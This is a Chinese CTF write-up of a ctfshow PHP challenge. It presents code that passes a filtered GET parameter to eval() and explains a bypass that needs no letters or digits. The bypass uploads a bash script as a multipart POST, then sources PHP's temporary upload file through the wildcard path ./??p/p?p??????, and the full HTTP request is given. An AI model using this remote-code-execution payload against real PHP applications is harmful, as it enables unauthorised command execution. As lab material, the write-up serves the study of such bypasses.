<?php
if(isset($_GET['cmd'])){
    $cmd=$_GET['cmd'];
    highlight_file(__FILE__);
    if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
    
        die("cerror");
    }
    if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
        die("serror");
    }
    eval($cmd);

}
?>

分析代码可以得到以下关键信息:

  • 不允许输入大写字母数字小写字母a-o小写字母q-z$,换句话说,可以输入的仅有小写字母p和某些特殊符号。
  • 被过滤了大部分特殊符号。可以用的还有?./`等。

因为过滤了~^,异或和取反都不用考虑了,学习Y1ng师傅的文章学到了新姿势:

php的上传接受multipart/form-data,然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说,只要是php接收到上传的POST请求,就会保存一个临时文件,如何这个php脚本具有“上传功能”那么它将拷贝走,无论如何当脚本执行结束这个临时文件都会被删除。另外,这个php临时文件在linux系统下的命名规则永远是phpXXXXXX

基本思路就是上传?,然后利用eval($cmd)去执行它。既然知道临时文件夹下的命名规则,也没有过滤通配符?,构造./??p/p?p??????就能读到这个文件。

还有需要注意的是命令执行,除了常见的system('ls');外,还可以写成?><?=`ls`;,前面的?>意思是闭合前面的语句。<?=是echo()的别名用法,不需要开启short_open_tag。eg:

payload如下,.命令完全等于source命令。

POST /index.php?cmd=?><?=.+/??p/p?p??????; HTTP/1.1
Host: 018ef173-c1ff-4866-b35c-a4cc04fcef19.chall.ctf.show
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------5642920497686823912130808832
Content-Length: 255
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------5642920497686823912130808832
Content-Disposition: form-data; name="fileUpload"; filename="shawroot.txt"
Content-Type: text/plain

#! /bin/bash

cat /flag.txt
-----------------------------5642920497686823912130808832--

⚪ 参考:

以CTFSHOW红包题为例研究无字母数字RCE

ctfshow 红包题第二弹(无数字字母无~^RCE)